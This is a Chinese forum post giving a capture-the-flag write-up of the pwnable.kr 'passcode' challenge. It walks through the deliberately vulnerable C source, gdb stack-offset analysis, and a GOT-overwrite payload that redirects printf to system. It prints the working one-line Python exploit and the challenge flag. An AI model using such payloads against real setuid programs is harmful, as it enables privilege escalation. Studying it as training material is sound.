首页
社区
课程
招聘
[分享]pwnable.kr passcode day4
2021-1-5 23:48 7736

[分享]pwnable.kr passcode day4

2021-1-5 23:48
7736

题目

解题过程

1. 查看文件列表和检查 passcode


flag 只对创建者 passcode_pwn 和 root 可读,而我们登录的用户是 passcode,无读权限。passcode 对有所有用户都开放读和执行权限,而且权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。
简单的两参数函数的栈帧空间

2. 查看 passcode.c 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
 
void login(){
        int passcode1;
        int passcode2;
 
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
 
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}
 
void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}
 
int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");
 
        welcome();
        login();
 
        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

main 函数先后调用了 welcome() 和 login() 函数,其中在 welcome() 函数中输入用户名,在 login() 中输入两个密码

 

而且 login() 函数在调用 scanf() 时没有 &(取址) 符号,所以 scanf() 把输入的值保存在 passcode1 和 passcode2 的值所指向的地址中

3. 使用 gdb 调试 passcode

下断点

查看各函数汇编
main()

welcome()

login()
338150 == 0x528e6
13371337 == 0xcc07c9
简单的两参数函数的栈帧空间
与源码对应看,welcome() 里 name 的首地址是 -0x70(%ebp) 即 %ebp - 0x70,login() 里 passcode1 的地址是 -0x10(%ebp),即 %ebp - 0x10,passcode2 的地址是 -0xc(%ebp),即 %ebp - 0xc
由于这 welcome() 和 login() 都是由 main 函数同步调用的而且它们的参数个数一样多(都是 0 个),所以在数值上两个函数的 %ebp 是相等的(参考栈帧空间)

 

简单的两参数函数的栈帧空间

 

通过计算可以求得 name 的首地址与 passcode1 的地址相差 0x70 - 0x10 == 0x60 == 96 个字节,name 的首地址与 passcode2 的地址相差 0x70 - 0xc == 0x64 == 100 个字节,name 的大小是 100 字节(c 语言中 char 为 1 字节),所以我们可以通过 welcome() 来控制 passcode1 的值,刚好不能控制 passcode2 的值

 

观察 login() 的源代码可以看到,scanf("%d", passcode1);后又执行了 printf(),所以考虑将 passcode1 的值覆盖为 printf 的地址,当对passcode1 进行赋值的时候,把调用 system 函数的地址输入进去,当执行 printf("enter passcode2 : "); 语句时就变成执行 system 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void login(){
        int passcode1;
        int passcode2;
 
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
 
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

4. 确定 system() 与 printf() 的地址

system() 的地址由汇编代码可得,由于函数调用前还有给参数赋值等初始化操作,因此地址选 0x080485e3 即 call system 语句的前一条语句的地址。

printf() 的地址可以由 readelf 获得 readelf -r ./passcode
printf() 的地址为 0x0804a000

5. 构造payload

python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode

Sorry mom.. I got confused about scanf usage :(为 flag
*注:这里 0x080485e3 要用十进制表示即 134514147,因为scanf("%d", passcode1);中要求格式为数字 %d

参考连接

  • https://www.jianshu.com/p/886a7b8c2ad5
  • https://www.jianshu.com/p/58d03dd3680a
  • https://bbs.pediy.com/thread-247956.htm
  • https://blog.csdn.net/xbb224007/article/details/80106961
  • https://blog.csdn.net/weixin_40997360/article/details/79948968

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回